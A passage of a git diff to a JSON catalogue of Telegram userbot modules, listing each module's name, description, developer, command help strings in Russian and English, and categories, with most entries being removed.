"@shadow_modules, @dan_endy" - }, - "commands": [ - { - "myvkcmd": "The command to display your VK" - } - ], - "new_commands": [ - { - "myvk": { - "ru_doc": null, - "en_doc": null, - "doc": "The command to display your VK" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/FoxAndDogsGallery.py": { - "name": "FoxGalerryMod", - "description": "🦊 Foxes, Dogs 🐶", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/nZalKg2.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "foxescmd": "🦊 Sending photos with foxes" - }, - { - "dogscmd": "🐶 Sending photos with dogs" - }, - { - "randomcdfcmd": "Photos of dogs 🐶 and foxes 🦊" - } - ], - "new_commands": [ - { - "foxes": { - "ru_doc": null, - "en_doc": null, - "doc": "🦊 Sending photos with foxes" - } - }, - { - "dogs": { - "ru_doc": null, - "en_doc": null, - "doc": "🐶 Sending photos with dogs" - } - }, - { - "randomcdf": { - "ru_doc": null, - "en_doc": null, - "doc": "Photos of dogs 🐶 and foxes 🦊" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "shadowhikka/sh.modules/trysamp.py": { - "name": "TrySampMod", - "description": "Try such as in samp", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/aGGx93G.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "trycmd": "try you luck" - } - ], - "new_commands": [ - { - "try": { - "ru_doc": null, - "en_doc": null, - "doc": "try you luck" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/HentaiManga.py": { - "name": "HentaiMangaMod", - "description": null, - "meta": { - "pic": null, - "banner": "https://i.imgur.com/8UYznku.jpeg", - "developer": "@shadow_modules, @toxicuse, @vsecoder" - }, - "commands": [ - { - "rnd_hentai_mangacmd": "{hentai_api_name: optional} - рандомная хентай-манга" - }, - { - "get_hentai_mangacmd": "{hentai_api_name} {id} - получить хентай-мангу" - } - ], - "new_commands": [ - { - "rnd_hentai_manga": { - "ru_doc": null, - "en_doc": null, - "doc": "{hentai_api_name: optional} - рандомная хентай-манга" - } - }, - { - "get_hentai_manga": { - "ru_doc": null, - "en_doc": null, - "doc": "{hentai_api_name} {id} - получить хентай-мангу" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "shadowhikka/sh.modules/ConvertTime.py": { - "name": "ConvertTimeMod", - "description": "Convert time in days, hours, minutes and seconds", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/KiCMAfX.jpg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "ctimecmd": "ctime <int: time for convert>" - } - ], - "new_commands": [ - { - "ctime": { - "ru_doc": null, - "en_doc": null, - "doc": "ctime <int: time for convert>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/100Percent.py": { - "name": "PercentMod", - "description": "Create your text with inline percentages", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/g7yk55s.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "percentcmd": "<Text with percentages> <Text at the end> [interval] -> For creating <Текст с процентами> <Текст в конце> [интервал] -> Для создания" - } - ], - "new_commands": [ - { - "percent": { - "ru_doc": "<Текст с процентами> <Текст в конце> [интервал] -> Для создания", - "en_doc": null, - "doc": "<Text with percentages> <Text at the end> [interval] -> For creating" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "shadowhikka/sh.modules/GForYou.py": { - "name": "GYForYouMod", - "description": "Погуглю за тебя", - "meta": { - "pic": null, - "banner": "https://i.imgur.com/pmh9eAE.jpeg", - "developer": "@shadow_modules" - }, - "commands": [ - { - "googlecmd": "<args>" - } - ], - "new_commands": [ - { - "google": { - "ru_doc": null, - "en_doc": null, - "doc": "<args>" - } - } - ], - "category": [ - "Info", - "Tools" - ] - }, - "iamnalinor/FTG-modules/membersquery.py": { - "name": "MembersQueryMod", - "description": "Finds an intersection between members of different groups", - "meta": { - "pic": null, - "banner": null, - "developer": "@nalinormods" - }, - "commands": [ - { - "mjoincmd": "<username/chat ID> ... — Find users that are in all given chats at same time" - }, - { - "mquerycmd": "<query?> — Find users from given chats that match the query. Call without args for help." - } - ], - "new_commands": [ - { - "mjoin": { - "ru_doc": null, - "en_doc": null, - "doc": "<username/chat ID> ... — Find users that are in all given chats at same time" - } - }, - { - "mquery": { - "ru_doc": null, - "en_doc": null, - "doc": "<query?> — Find users from given chats that match the query. Call without args for help." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "iamnalinor/FTG-modules/speedtest.py": { - "name": "SpeedtestMod", - "description": "Tests your internet speed via speedtest.net", - "meta": { - "pic": null, - "banner": null, - "developer": "@nalinormods" - }, - "commands": [ - { - "speedtestcmd": "Run speedtest" + "speedtestcmd": "Speedtest of your server internet" } ], "new_commands": [ @@ -19229,262 +39352,7 @@ "speedtest": { "ru_doc": null, "en_doc": null, - "doc": "Run speedtest" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "iamnalinor/FTG-modules/msgrate.py": { - "name": "MsgRateMod", - "description": "Show chat activity, counted in MpH (messages per hour)", - "meta": { - "pic": null, - "banner": null, - "developer": "@nalinormods" - }, - "commands": [ - { - "msgratecmd": "<chat id/username/current> — Show MpH for chat" - }, - { - "msgstatcmd": "<r|g|b> <chat id/username/current> — Show chat MpH statistics" - } - ], - "new_commands": [ - { - "msgrate": { - "ru_doc": null, - "en_doc": null, - "doc": "<chat id/username/current> — Show MpH for chat" - } - }, - { - "msgstat": { - "ru_doc": null, - "en_doc": null, - "doc": "<r|g|b> <chat id/username/current> — Show chat MpH statistics" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "iamnalinor/FTG-modules/swmute.py": { - "name": "SwmuteMod", - "description": "Deletes messages from certain users", - "meta": { - "pic": null, - "banner": null, - "developer": "@nalinormods" - }, - "commands": [ - { - "swmutecmd": "<reply/username/id> <time> — Add user to swmute list" - }, - { - "swunmutecmd": "<reply/username/id> — Remove swmute from user" - }, - { - "swmutelistcmd": "Get list of swmuted users" - }, - { - "swmuteclearcmd": "<all> — Clear all swmutes in this chat/in all chats" - } - ], - "new_commands": [ - { - "swmute": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply/username/id> <time> — Add user to swmute list" - } - }, - { - "swunmute": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply/username/id> — Remove swmute from user" - } - }, - { - "swmutelist": { - "ru_doc": null, - "en_doc": null, - "doc": "Get list of swmuted users" - } - }, - { - "swmuteclear": { - "ru_doc": null, - "en_doc": null, - "doc": "<all> — Clear all swmutes in this chat/in all chats" - } - } - ], - "category": [ - "Chat", - "Moderation" - ] - }, - "iamnalinor/FTG-modules/lavhost.py": { - "name": "LavHostMod", - "description": "Simple @lavHost manager", - "meta": { - "pic": null, - "banner": null, - "developer": "@nalinormods" - }, - "commands": [ - { - "lstopcmd": "Stop userbot" - }, - { - "lstartcmd": "Start userbot" - }, - { - "lrestartcmd": "Restart userbot" - }, - { - "linfocmd": "Get your lavHost info" - }, - { - "lcheckcmd": "<reply/username/id> — Check if user is registered in lavHost or not" - } - ], - "new_commands": [ - { - "lstop": { - "ru_doc": null, - "en_doc": null, - "doc": "Stop userbot" - } - }, - { - "lstart": { - "ru_doc": null, - "en_doc": null, - "doc": "Start userbot" - } - }, - { - "lrestart": { - "ru_doc": null, - "en_doc": null, - "doc": "Restart userbot" - } - }, - { - "linfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Get your lavHost info" - } - }, - { - "lcheck": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply/username/id> — Check if user is registered in lavHost or not" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "DziruModules/hikkamods/PinSaver.py": { - "name": "PinSaverMod", - "description": "Pinterest saver via @TopSaverBot", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/PinSaver.png", - "developer": "@dziru" - }, - "commands": [ - { - "pincmd": "LINK from Pinterest" - } - ], - "new_commands": [ - { - "pin": { - "ru_doc": null, - "en_doc": null, - "doc": "LINK from Pinterest" - } - } - ], - "category": [ - "Chat", - "Media" - ] - }, - "DziruModules/hikkamods/CryptoBalance.py": { - "name": "CryptoBalanceMod", - "description": "Check your balance in many Crypto Wallet Bots", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/CryptoBalance.png", - "developer": "@dziru" - }, - "commands": [ - { - "bcrypto": "Check your balance in @CryptoBot Проверить твой баланс в @CryptoBot" - }, - { - "bton": "Check your balance in @TonRocketBot Проверить твой баланс в @TonRocketBot" - }, - { - "bjet": "Check your balance in @xJetSwapBot Проверить твой баланс в @xJetSwapBot" - }, - { - "btest": "Check your balance in @CryptoTestNetBot Проверить твой баланс в @CryptoTestNetBot" - }, - { - "bwallet": "Check your balance in @Wallet Проверить твой баланс в @Wallet" - } - ], - "new_commands": [ - { - "bcrypto": { - "ru_doc": "Проверить твой баланс в @CryptoBot", - "en_doc": null, - "doc": "Check your balance in @CryptoBot" - } - }, - { - "bton": { - "ru_doc": "Проверить твой баланс в @TonRocketBot", - "en_doc": null, - "doc": "Check your balance in @TonRocketBot" - } - }, - { - "bjet": { - "ru_doc": "Проверить твой баланс в @xJetSwapBot", - "en_doc": null, - "doc": "Check your balance in @xJetSwapBot" - } - }, - { - "btest": { - "ru_doc": "Проверить твой баланс в @CryptoTestNetBot", - "en_doc": null, - "doc": "Check your balance in @CryptoTestNetBot" - } - }, - { - "bwallet": { - "ru_doc": "Проверить твой баланс в @Wallet", - "en_doc": null, - "doc": "Check your balance in @Wallet" + "doc": "Speedtest of your server internet" } } ], @@ -19493,2413 +39361,17 @@ "Chat" ] }, - "DziruModules/hikkamods/Carbon.py": { - "name": "CarbonMod", - "description": "Create beautiful code images. Edited by @Penggrin", + "coddrago/modules/ascii_face.py": { + "name": "Ascii_face", + "description": "Random Ascii Face from utils", "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/Carbon.png", - "developer": "@hikarimods" + "pic": "https://envs.sh/HoE.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "carboncmd": "<code> - Create beautiful code image <код> - Сделать красивую фотку кода" - } - ], - "new_commands": [ - { - "carbon": { - "ru_doc": "<код> - Сделать красивую фотку кода", - "en_doc": null, - "doc": "<code> - Create beautiful code image" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "DziruModules/hikkamods/DziShazam.py": { - "name": "DziShazamMod", - "description": "Module for searching music's. Works through @lybot", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/DziShazam.png", - "developer": "@dziru" - }, - "commands": [ - { - "mcdcmd": "<song> enter name <песня> укажите название" - } - ], - "new_commands": [ - { - "mcd": { - "ru_doc": "<песня> укажите название", - "en_doc": null, - "doc": "<song> enter name" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "DziruModules/hikkamods/GoodWishes.py": { - "name": "GoodWishesMod", - "description": "Good wishes for the day", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/GoodWishes.png", - "developer": "@dziru" - }, - "commands": [ - { - "gdmcmd": "Good Morning" - }, - { - "gdacmd": "Good Afternoon" - }, - { - "gdecmd": "Good Evening" - }, - { - "gdncmd": "Good Night" - } - ], - "new_commands": [ - { - "gdm": { - "ru_doc": null, - "en_doc": null, - "doc": "Good Morning" - } - }, - { - "gda": { - "ru_doc": null, - "en_doc": null, - "doc": "Good Afternoon" - } - }, - { - "gde": { - "ru_doc": null, - "en_doc": null, - "doc": "Good Evening" - } - }, - { - "gdn": { - "ru_doc": null, - "en_doc": null, - "doc": "Good Night" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "DziruModules/hikkamods/RepoSaver.py": { - "name": "RepoSaverMod", - "description": "GitHub Repository saver via @githubrepo_download_bot", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/RepoSaver.png", - "developer": "@dziru" - }, - "commands": [ - { - "repocmd": "enter Repository link from GitHub" - } - ], - "new_commands": [ - { - "repo": { - "ru_doc": null, - "en_doc": null, - "doc": "enter Repository link from GitHub" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "DziruModules/hikkamods/Among.py": { - "name": "AmongMod", - "description": "Create AmongUs stickers", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/Among.png", - "developer": "@dziru" - }, - "commands": [ - { - "amongcmd": "Type message or reply" - } - ], - "new_commands": [ - { - "among": { - "ru_doc": null, - "en_doc": null, - "doc": "Type message or reply" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "DziruModules/hikkamods/Gitinfo.py": { - "name": "GitInfoMod", - "description": "Get Github user info, simply type username", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/GitInfo.png", - "developer": "@dziru" - }, - "commands": [ - { - "gitinfocmd": "<username>" - } - ], - "new_commands": [ - { - "gitinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "<username>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "DziruModules/hikkamods/AutoComment.py": { - "name": "AutoCommentMod", - "description": "Automatically comments under any channels you want", - "meta": { - "pic": "https://raw.githubusercontent.com/DziruModules/assets/master/DziruModules.jpg", - "banner": "https://raw.githubusercontent.com/DziruModules/assets/master/AutoComment.png", - "developer": "@dziru" - }, - "commands": [ - { - "commentcmd": "Toggle Module <on/off>" - } - ], - "new_commands": [ - { - "comment": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle Module <on/off>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Fl1yd/FTG-Modules/chat.py": { - "name": "ChatMod", - "description": "Чат модуль", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "useridcmd": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." - }, - { - "chatidcmd": "Команда .chatid показывает ID чата." - }, - { - "invitecmd": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." - }, - { - "kickmecmd": "Используйте команду .kickme, чтобы кикнуть себя из чата." - }, - { - "userscmd": "Команда .users <имя> выводит список всех пользователей в чате." - }, - { - "adminscmd": "Команда .admins показывает список всех админов в чате." - }, - { - "botscmd": "Команда .bots показывает список всех ботов в чате." - } - ], - "new_commands": [ - { - "userid": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." - } - }, - { - "chatid": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .chatid показывает ID чата." - } - }, - { - "invite": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." - } - }, - { - "kickme": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте команду .kickme, чтобы кикнуть себя из чата." - } - }, - { - "users": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .users <имя> выводит список всех пользователей в чате." - } - }, - { - "admins": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .admins показывает список всех админов в чате." - } - }, - { - "bots": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .bots показывает список всех ботов в чате." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/SpeedRead.py": { - "name": "SpeedReadMod", - "description": "каждое слово раз в 100мс", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "srcmd": ".sr <text or reply>" - } - ], - "new_commands": [ - { - "sr": { - "ru_doc": null, - "en_doc": null, - "doc": ".sr <text or reply>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/urlshortener.py": { - "name": "URLShortenerMod", - "description": "Сократитель ссылок", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "lgtcmd": "Сократить ссылку с помощью сервиса verylegit.link" - } - ], - "new_commands": [ - { - "lgt": { - "ru_doc": null, - "en_doc": null, - "doc": "Сократить ссылку с помощью сервиса verylegit.link" - } - } - ], - "category": [ - "Info", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/reverse.py": { - "name": "ReverseMod", - "description": "Реверс текста.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "revcmd": "Используй .rev <текст или реплай>." - } - ], - "new_commands": [ - { - "rev": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .rev <текст или реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/wwtaf.py": { - "name": "WWTaFMod", - "description": "Модуль для работы с текстом или файлами.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "filecmd": "Получить файл по ссылке.\nИспользование: .file <ссылка или реплай на ссылку>." - }, - { - "tabfixcmd": "Используй .tabfix <реплай или файл с текстом .tabfix>." - }, - { - "text2txtcmd": "Переносит текст в файл .txt.\nИспользуй: .text2txt <текст или реплай>." - }, - { - "text2pycmd": "Переносит текст в файл .py.\nИспользуй: .text2py <текст или реплай>." - }, - { - "boldcmd": "Сделать текст жирным.\nИспользуй: .bold <текст или реплай>." - }, - { - "italiccmd": "Сделать текст курсивным.\nИспользуй: .italic <текст или реплай>." - }, - { - "underlinecmd": "Сделать текст подчеркнутым.\nИспользуй: .underline <текст или реплай>." - }, - { - "monocmd": "Сделать текст моноширинным.\nИспользуй: .mono <текст или реплай>." - }, - { - "crosscmd": "Сделать текст зачеркнутым.\nИспользуй: .cross <текст или реплай>." - }, - { - "entercmd": "Перенос строки после каждого слова.\nИспользуй: .enter <текст или реплай>." - } - ], - "new_commands": [ - { - "file": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить файл по ссылке.\nИспользование: .file <ссылка или реплай на ссылку>." - } - }, - { - "tabfix": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .tabfix <реплай или файл с текстом .tabfix>." - } - }, - { - "text2txt": { - "ru_doc": null, - "en_doc": null, - "doc": "Переносит текст в файл .txt.\nИспользуй: .text2txt <текст или реплай>." - } - }, - { - "text2py": { - "ru_doc": null, - "en_doc": null, - "doc": "Переносит текст в файл .py.\nИспользуй: .text2py <текст или реплай>." - } - }, - { - "bold": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать текст жирным.\nИспользуй: .bold <текст или реплай>." - } - }, - { - "italic": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать текст курсивным.\nИспользуй: .italic <текст или реплай>." - } - }, - { - "underline": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать текст подчеркнутым.\nИспользуй: .underline <текст или реплай>." - } - }, - { - "mono": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать текст моноширинным.\nИспользуй: .mono <текст или реплай>." - } - }, - { - "cross": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать текст зачеркнутым.\nИспользуй: .cross <текст или реплай>." - } - }, - { - "enter": { - "ru_doc": null, - "en_doc": null, - "doc": "Перенос строки после каждого слова.\nИспользуй: .enter <текст или реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/groupcreator.py": { - "name": "GroupCreatorMod", - "description": "Создать чат или канал.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "createcmd": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." - } - ], - "new_commands": [ - { - "create": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .create <g|s|c> <название>, чтобы создать группу, супергруппу или канал." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/catchargs.py": { - "name": "PicMod", - "description": "Случайный картинка по аргументам из @pic.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "piccmd": "" - } - ], - "new_commands": [ - { - "pic": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Fl1yd/FTG-Modules/nedoquotes.py": { - "name": "NedoQuotesMod", - "description": "Генератор всратых цитат by @ShittyQuoteBot", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "nqcmd": "Используй: .nq <текст или реплай>." - } - ], - "new_commands": [ - { - "nq": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .nq <текст или реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/userdata.py": { - "name": "UserDataMod", - "description": "Модуль может изменить ваши данные в Telegram", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "namecmd": "Команда .name изменит ваше имя." - }, - { - "biocmd": "Команда .bio изменит ваше био." - }, - { - "usernamecmd": "Команда .username изменит ваше био." - } - ], - "new_commands": [ - { - "name": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .name изменит ваше имя." - } - }, - { - "bio": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .bio изменит ваше био." - } - }, - { - "username": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .username изменит ваше био." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/hiddentag.py": { - "name": "HiddenTagMod", - "description": "Скрытно тегнуть пользователя.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tagcmd": "Использование: .tag <@> <текст (по желанию)>." - } - ], - "new_commands": [ - { - "tag": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование: .tag <@> <текст (по желанию)>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/searchmodules.py": { - "name": "SearchMod", - "description": "Поиск контента на канале @ftgmodulesbyfl1yd", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "searchcmd": "Используй .search <название>" - } - ], - "new_commands": [ - { - "search": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .search <название>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/family.py": { - "name": "FamilyMod", - "description": "Quote a message", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "familycmd": "" - } - ], - "new_commands": [ - { - "family": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Fl1yd/FTG-Modules/dictionary.py": { - "name": "DictionaryMod", - "description": "Словарь.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "meancmd": "Использование: .mean <слово>." - } - ], - "new_commands": [ - { - "mean": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование: .mean <слово>." - } - } - ], - "category": [ - "Chat", - "Customization" - ] - }, - "Fl1yd/FTG-Modules/admin.py": { - "name": "AdminToolsMod", - "description": "Администрирование чата", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ecpcmd": "Команда .ecp изменяет картинку чата.\nИспользование: .ecp <реплай на картинку/стикер>." - }, - { - "promotecmd": "Команда .promote повышает пользователя в правах администратора.\nИспользование: .promote <@ или реплай> <ранг>." - }, - { - "demotecmd": "Команда .demote понижает пользователя в правах администратора.\nИспользование: .demote <@ или реплай>." - }, - { - "pincmd": "Команда .pin закрепляет сообщение в чате.\nИспользование: .pin <реплай>." - }, - { - "unpincmd": "Команда .unpin открепляет закрепленное сообщение в чате.\nИспользование: .unpin." - }, - { - "kickcmd": "Команда .kick кикает пользователя.\nИспользование: .kick <@ или реплай>." - }, - { - "bancmd": "Команда .ban даёт бан пользователю.\nИспользование: .ban <@ или реплай>." - }, - { - "unbancmd": "Команда .unban для разбана пользователя.\nИспользование: .unban <@ или реплай>." - }, - { - "mutecmd": "Команда .mute даёт мут пользователю.\nИспользование: .mute <@ или реплай> <время (1m, 1h, 1d)>." - }, - { - "unmutecmd": "Команда .unmute для размута пользователя.\nИспользование: .unmute <@ или реплай>." - }, - { - "delallmsgscmd": "Команда .delallmsgs удаляет все сообщения от пользователя.\nИспользование: .delallmsgs <@ или реплай>." - }, - { - "deluserscmd": "Команда .delusers показывает список всех удалённых аккаунтов в чате.\nИспользование: .delusers <clean>." - } - ], - "new_commands": [ - { - "ecp": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .ecp изменяет картинку чата.\nИспользование: .ecp <реплай на картинку/стикер>." - } - }, - { - "promote": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .promote повышает пользователя в правах администратора.\nИспользование: .promote <@ или реплай> <ранг>." - } - }, - { - "demote": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .demote понижает пользователя в правах администратора.\nИспользование: .demote <@ или реплай>." - } - }, - { - "pin": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .pin закрепляет сообщение в чате.\nИспользование: .pin <реплай>." - } - }, - { - "unpin": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .unpin открепляет закрепленное сообщение в чате.\nИспользование: .unpin." - } - }, - { - "kick": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .kick кикает пользователя.\nИспользование: .kick <@ или реплай>." - } - }, - { - "ban": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .ban даёт бан пользователю.\nИспользование: .ban <@ или реплай>." - } - }, - { - "unban": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .unban для разбана пользователя.\nИспользование: .unban <@ или реплай>." - } - }, - { - "mute": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .mute даёт мут пользователю.\nИспользование: .mute <@ или реплай> <время (1m, 1h, 1d)>." - } - }, - { - "unmute": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .unmute для размута пользователя.\nИспользование: .unmute <@ или реплай>." - } - }, - { - "delallmsgs": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .delallmsgs удаляет все сообщения от пользователя.\nИспользование: .delallmsgs <@ или реплай>." - } - }, - { - "delusers": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .delusers показывает список всех удалённых аккаунтов в чате.\nИспользование: .delusers <clean>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/mediacutter.py": { - "name": "MediaCutterMod", - "description": "Обрезать медиа.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "cutcmd": "Используй .cut <начало(сек):конец(сек)> <реплай на аудио/видео/гиф>." - } - ], - "new_commands": [ - { - "cut": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .cut <начало(сек):конец(сек)> <реплай на аудио/видео/гиф>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/whois.py": { - "name": "WhoIsMod", - "description": "Получает информацию о пользователе в Телеграме (включая вас!).", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "whoiscmd": "Используй .whois <@ или реплай>; ничего" - } - ], - "new_commands": [ - { - "whois": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .whois <@ или реплай>; ничего" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/replydownloader.py": { - "name": "ReplyDownloaderMod", - "description": "Скачать файлом реплай.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "dlrcmd": "Команда .dlr <реплай на файл> <название (по желанию)> скачивает файл, либо сохраняет текст в файл на который был сделан реплай." - }, - { - "ulfcmd": "Команда .ulf <d>* <название файла> отправляет файл в чат.\n* - удалить файл после отправки." - } - ], - "new_commands": [ - { - "dlr": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .dlr <реплай на файл> <название (по желанию)> скачивает файл, либо сохраняет текст в файл на который был сделан реплай." - } - }, - { - "ulf": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .ulf <d>* <название файла> отправляет файл в чат.\n* - удалить файл после отправки." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Fl1yd/FTG-Modules/kick_random.py": { - "name": "KickRandomMod", - "description": "Кик рандом.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "kickrandcmd": "Используй .kickrand, чтобы кикнуть случайного пользователя (может кикнуть вас)." - } - ], - "new_commands": [ - { - "kickrand": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .kickrand, чтобы кикнуть случайного пользователя (может кикнуть вас)." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/tagall.py": { - "name": "TagAllMod", - "description": "Тэгает всех в чате.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tagallcmd": "Используй .tagall <текст (по желанию)>." - } - ], - "new_commands": [ - { - "tagall": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .tagall <текст (по желанию)>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/userdataen.py": { - "name": "UserDataMod", - "description": "This module can change your Telegram profile.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "namecmd": "For .name command, change your first/second name." - }, - { - "biocmd": "For .bio command, set a new bio for your profile." - }, - { - "usernamecmd": "For .username command, set a new username." - } - ], - "new_commands": [ - { - "name": { - "ru_doc": null, - "en_doc": null, - "doc": "For .name command, change your first/second name." - } - }, - { - "bio": { - "ru_doc": null, - "en_doc": null, - "doc": "For 